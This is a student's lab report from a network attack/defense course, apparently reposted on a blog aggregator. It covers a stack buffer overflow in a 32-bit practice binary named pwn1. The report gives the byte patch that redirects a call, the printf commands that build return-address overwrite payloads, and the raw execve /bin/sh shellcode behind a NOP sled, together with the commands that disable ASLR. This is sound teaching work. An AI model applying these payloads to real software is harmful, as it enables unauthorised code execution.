当前位置: 首页 > news >正文

20252817 2025-2026-2 《网络攻防实践》实践九报告

20252817 2025-2026-2 《网络攻防实践》实践九报告

1.实践内容

本次实践的主题是软件安全里的缓冲区溢出和 shellcode。实验对象是一个 Linux 下的 32 位可执行文件 pwn1。这个程序正常执行时,main 会调用 foofoo 会把用户输入的字符串回显出来。程序里还包含一个 getShell 函数,正常流程不会运行它。

本次实验我主要完成三部分:

  1. 手工修改可执行文件,把 main 中原本调用 foo 的指令改成调用 getShell
  2. 利用 foo 中的缓冲区溢出问题,构造输入覆盖返回地址,让程序跳转到 getShell
  3. 构造带 NOP 滑道和 shellcode 的输入,让程序执行自己放到栈上的 shellcode。

实验中用到的几个基础指令和机器码如下:

汇编指令 常见机器码 简单理解
NOP 90 空操作,本实验中用于 NOP 滑道
JMP EBE9 无条件跳转
JE/JZ 74 相等时跳转
JNE/JNZ 75 不相等时跳转
CMP 视操作数变化 比较两个值,后面常接条件跳转

2.实践过程

2.1 实验准备和文件识别

我先把老师给的 pwn1 复制到 Kali 桌面 exp9 文件夹,并改名成带学号的文件 20252817_pwn1。同时按照作业要求,把主机名改成了姓名拼音 chuhao

image

为了后面栈地址比较稳定,我关闭了 ASLR:

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

然后查看文件类型、哈希和栈权限:

cd /home/kali/Desktop/exp9/
hostname
ls -l 20252817_pwn1
file 20252817_pwn1
md5sum 20252817_pwn1
readelf -l 20252817_pwn1 | grep GNU_STACK

image

结果可以看出,20252817_pwn1 是 32 位 Linux ELF 程序,MD5 为:

da10f9e4de5da9b1d2cd6c726b77c9f2

GNU_STACK 一行显示 RWE,说明这个程序的栈是可读、可写、可执行的,所以后面注入 shellcode 具备实验条件。

2.2 反汇编查看关键函数

我使用 objdump 查看 getShellfoomain

objdump -d 20252817_pwn1 | grep -A8 '<getShell>:'
objdump -d 20252817_pwn1 | grep -A12 '<foo>:'
objdump -d 20252817_pwn1 | grep -A8 '<main>:'

image

从反汇编结果中看到几个关键地址:

函数 地址
getShell 0x0804847d
foo 0x08048491
main 0x080484af

其中 main 里有一条调用 foo 的指令:

80484b5: e8 d7 ff ff ff    call 8048491 <foo>

foo 里面使用了 gets,这个函数不会检查输入长度,所以这里存在缓冲区溢出风险。

2.3 手工修改可执行文件

这一部分可以理解成直接改程序执行路线。原来的流程是:

main -> foo

我要把它改成:

main -> getShell

这样程序运行时就不会进入 foo 回显输入,而是直接进入 getShell

先复制一份实验文件,避免把原文件改坏:

cd ~/Desktop/exp9
cp 20252817_pwn1 20252817_pwn1_patch
chmod +x 20252817_pwn1_patch

image

通过前面的反汇编可以看到,main 中调用 foo 的指令在 0x080484b5

80484b5: e8 d7 ff ff ff    call 8048491 <foo>

这里真正需要改的是文件偏移 0x4b5 处的 5 个字节:

位置 修改前 修改后 作用
0x4b5 e8 d7 ff ff ff e8 c3 ff ff ff 把调用目标从 foo 改成 getShell

这里我用 vim + xxd 来改:

vim -b 20252817_pwn1_patch

进入 vim 后,先按一下 Esc,保证自己不在插入模式。然后输入下面的命令,把文件按十六进制形式显示:

:%!xxd

注意:这条命令要出现在 vim 最下面的命令行里。如果 :%!xxd 出现在正文第一行,说明输错位置了,需要用 :q! 不保存退出后重来。

然后翻到 000004b0 附近,找到:

image

000004b0: 89e5 83e4 f0e8 d7ff ffff b800 0000 00c9

我只需要把里面的 d7 改成 c3。最稳的做法是把光标放在 d7d 上,按 r 再按 c;再把光标放在 7 上,按 r 再按 3。这样是替换字符,不会多插入或少删除。

修改后变成:

000004b0: 89e5 83e4 f0e8 c3ff ffff b800 0000 00c9

image

改完后输入下面两条命令还原并保存:

:%!xxd -r
:wq

image

这里要注意是“覆盖原来的字节”,不是插入新字节。文件大小不能变,否则程序格式可能被破坏。

改完后用 xxd 对比修改前后的字节,再用 objdump 确认 main 里已经变成调用 getShell

xxd -g 1 -s 0x4b0 -l 24 20252817_pwn1
xxd -g 1 -s 0x4b0 -l 24 20252817_pwn1_patch
objdump -d 20252817_pwn1_patch | grep -A8 '<main>:'

image

可以看到修改后的 main 里已经变成:

call 804847d <getShell>

最后运行修改后的程序,并在打开的 shell 里执行 id

./20252817_pwn1_patch
id
exit

image

输出里出现了:

uid=1000(kali)

说明程序已经进入了 getShell 打开的 shell。

2.4 覆盖返回地址跳转到 getShell

第二种方法不改程序文件,只在运行时输入一串特殊内容。foo 用了 gets 接收输入,它不检查输入长度,所以输入太长时会把栈上后面的内容覆盖掉。

函数执行完要返回时,会从栈上取“返回地址”。如果我把这个返回地址覆盖成 getShell 的地址,程序就会跳到 getShell

我这里测试出的填充长度是 32 字节,也就是前面 32 个 A 用来填满缓冲区和中间内容,后面 4 个字节写 getShell 的地址。

payload 结构如下:

32 个 A + getShell 地址

getShell 地址是 0x0804847d。因为 x86 是小端序,所以写到 payload 里要写成:

7d 84 04 08

我一开始尝试用 vim + xxd 手工填写 payload,但发现只要模式或粘贴位置不对,就容易多出换行或编码字节。最后我用 printf 直接写入原始字节,然后再用 xxdwc -c 检查。

rm -f payload_getshell
printf 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' > payload_getshell
printf '\x7d\x84\x04\x08' >> payload_getshell
xxd -g 1 payload_getshell
wc -c payload_getshell

正确结果应该是 36 字节,末尾 4 个字节是 7d 84 04 08

image

然后把 payload 输入给程序。为了避免手动交互时 exit 不好退,我把 idexit 也一起送进去:

{ cat payload_getshell; echo; sleep 1; echo id; sleep 1; echo exit; } | ./20252817_pwn1

image

输出中能看到 uid=1000(kali),说明返回地址确实被覆盖成了 getShell 的地址。

这里有一个现象:程序退出时有时会段错误。我的理解是返回地址和栈内容被我们改乱了,shell 退出后程序没法正常回到原来的流程。但因为已经成功进入 shell,这不影响本题结论。

2.5 注入并执行 shellcode

第三种方法比前两种更进一步。2.4 是跳到程序里本来就有的 getShell,而这一部分是把自己准备的 shellcode 放进输入里,再让程序跳到这段 shellcode 上执行。

这一步最好先确认 ASLR 是关闭的,否则栈地址每次变化,返回地址就不稳定:

cat /proc/sys/kernel/randomize_va_space

image

如果输出不是 0,就执行:

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

image

本次使用的 shellcode 功能是执行 /bin/sh

31 c0 50 68 2f 2f 73 68 68 2f 62 69 6e 89 e3 50 53 89 e1 99 b0 0b cd 80

payload 的结构是:

32 个 A + 返回地址 + NOP 滑道 + shellcode

这里的 NOP 就是机器码 90,可以理解成“滑道”。返回地址不一定要刚好落在 shellcode 的第一个字节,只要落在前面的 NOP 区域,就会一路执行到 shellcode。

我这里跑通的返回地址是:

0xffffdc70

一开始我试过用 vim + xxd 粘贴十六进制内容,但 dcff90 这类高位字节容易被保存成 UTF-8 编码,导致 xxd 里出现 c3 9cc3 bfc2 90。所以最终我改用 printf 逐段写入原始字节:

rm -f payload_shellcode
printf 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' > payload_shellcode
printf '\x70\xdc\xff\xff' >> payload_shellcode
for i in $(seq 1 64); do printf '\x90' >> payload_shellcode; done
printf '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80' >> payload_shellcode

保存后检查:

xxd -g 1 payload_shellcode | head
wc -c payload_shellcode

正确情况是 00000020 这一行能看到:

70 dc ff ff 90 90 90 90 ...

并且文件大小是 124 字节。

image

运行时同样把 payload 文件送给程序,并把 idexit 一起送进去:

{ cat payload_shellcode; echo; sleep 1; echo id; sleep 1; echo exit; } | ./20252817_pwn1

image

结果中出现:

/bin//sh: 0: can't access tty; job control turned off
uid=1000(kali)

这说明程序没有跳到已有的 getShell 函数,而是执行了我放在栈里的 shellcode,并成功启动了 shell。

3.学习中遇到的问题及解决

  • 问题1:一开始不确定要修改哪几个字节。

  • 问题1解决方案:先用 objdump 找到 main 中调用 foo 的位置,再看文件偏移 0x4b5 附近的机器码。确认 e8 d7 ff ff ff 是调用 foo 后,再把相对偏移改成调用 getShelle8 c3 ff ff ff

  • 问题2:使用 vim + xxd 时,把 :%!xxd 输入到了正文里。

  • 问题2解决方案:这是因为没有先按 Esc,还停留在插入模式。正确做法是先按 Esc,再输入 :%!xxd,并确认命令出现在 vim 最下面的命令行里。如果已经写进正文,就用 :q! 不保存退出后重来。

  • 问题3:20252817_pwn1_patch 曾经被改坏,运行时报 exec format errorobjdump 也提示 file format not recognized

  • 问题3解决方案:不要继续在坏文件上改,直接删除 20252817_pwn1_patch,重新从 20252817_pwn1 复制一份。修改 d7c3 时尽量用 r 替换单个字符,不要随便插入或删除。

  • 问题4:构造 payload_getshell 时,文件末尾曾经多出 c20a

  • 问题4解决方案:用 xxd -g 1 payload_getshellwc -c payload_getshell 检查。正确结果必须是 36 字节,末尾必须是 7d 84 04 08。后来我改用 printf 写原始字节,避免多出换行和编码字节。

  • 问题5:使用 (cat payload_getshell; cat) | ./20252817_pwn1 时,手动输入 exit 不好退出,有时需要 Ctrl+C

  • 问题5解决方案:改成一次性把 payload、换行、idexit 都送进去,例如 { cat payload_getshell; echo; sleep 1; echo id; sleep 1; echo exit; } | ./20252817_pwn1。这样更适合截图,也不容易卡住。

  • 问题6:构造 shellcode payload 时,dc ff ff 90 被保存成了 c3 9c c3 bf c3 bf c2 90

  • 问题6解决方案:这是因为不可见或高位字节被当成 UTF-8 字符保存了。后来改用 printf '\x..' 逐段写入原始字节,并用 xxd 检查 00000020 行是否是 70 dc ff ff 90 90 ...

4.实践总结

这次实验让我更直观地理解了缓冲区溢出的过程。以前只是知道“覆盖返回地址”,但真正做的时候才发现,地址、字节顺序、文件大小、输入换行这些细节都会影响结果。

第一种方法是直接改程序文件,思路最简单,就是把 main 中调用 foo 的地方改成调用 getShell。第二种方法更接近缓冲区溢出的核心,通过输入内容覆盖返回地址,让程序跳到 getShell。第三种方法难度更高一些,因为它不再依赖程序里已有的 getShell,而是把 shellcode 放到栈上执行。

我觉得这次实验最重要的地方不是记住某个固定地址,而是理解程序执行流程为什么会被改变:CPU 执行到 ret 时,会从栈上取返回地址;如果这个地址被输入内容覆盖了,程序就会跳到我们指定的位置。这也是缓冲区溢出比较危险的原因。

另外,这次也让我意识到二进制实验不能只看“看起来像”。比如 Üÿ 这些显示出来的字符,不一定就是我想写入的原始字节。最后还是要用 xxdwc -c 检查,确认字节和长度都对,实验结果才可靠。

参考资料

  • 课程实验指导:实验指导书.txt
  • Gitee 实验指导链接:逆向与 BOF 基础
  • 《网络攻防实践》课程资料
http://www.jsqmd.com/news/906681/

相关文章:

  • 数字电子技术判奇判偶连线图
  • 保姆级教程:手把手教你为Ubuntu 22.04 LTS自定义屏幕分辨率(解决Unknown display)
  • 利用DHCP协议为电脑配置ip地址
  • OSPF 基础全解:从原理到三大厂商实战配置,一篇搞定
  • 探秘 DXGF-228A:Ka 波段 20W 功放,微波链路的 “硬核动力源”
  • vibe coding的艺术,如何来的无限量token
  • 2026年5月更新:江苏三轮车电机核心服务商战略图谱与选择洞察 - 2026年企业资讯
  • 【太奶学IT】图像处理三大学习范式:监督/自监督/无监督怎么实现?大白话讲透+参考文献
  • CentOS 7/8上5分钟搞定Pure-FTPd:从YUM安装到创建虚拟用户(保姆级教程)
  • 我的大一下
  • 基于 SQLAlchemy 的面试语音数据库层设计与封装实战
  • 不用向量数据库做RAG?
  • Nginx保留UTM参数重定向配置:4种方法彻底解决流量追踪失效问题
  • NCMconverter终极指南:3分钟解锁网易云音乐加密文件
  • 漫谈学习之MapDiffusion算法学习
  • 天津知名继承纠纷律师事务所及专业律师推荐:首推德唯律所尹娜律师 - 本地品牌推荐
  • 71_《智能体微服务架构企业级实战教程》复盘与扩展之项目代码复盘
  • 告别低效 Prompt 复用,AI 技能化才是当下主流玩法
  • Alice 写代码、Bob 找 bug、混元当裁判:我让 3 个 hy3 在两个 Cube Sandbox 里互相找茬
  • PythonGIL机制详解
  • 当Kon-Boot遇上Win10微软账户:实测免费版行不通?试试这个创建新管理员的隐藏技巧
  • 从游戏开发到数据可视化:解锁Blender Python API的5个实用场景(含代码片段)
  • 从语音识别到金融预测:AR模型谱估计在5个真实场景中的‘降维打击’实战
  • 降AIGC黑科技揭秘!实测验证工具榜与精准选型导航
  • NQ551固态MT29F16T08EWLEHD6-ITF:E
  • 2026年精选AI论文平台指南(实测甄选版)
  • 时间序列建模避坑指南:你的ACF/PACF分析可能从一开始就错了
  • CAXA 标注编辑 - 尺寸编辑2
  • 2026年实用降AI率工具:实测AI率从90%降至4%的省心方案
  • RT-Thread Studio + STM32 TIM3 输入捕获实战:从CubeMX配置到占空比计算(附源码)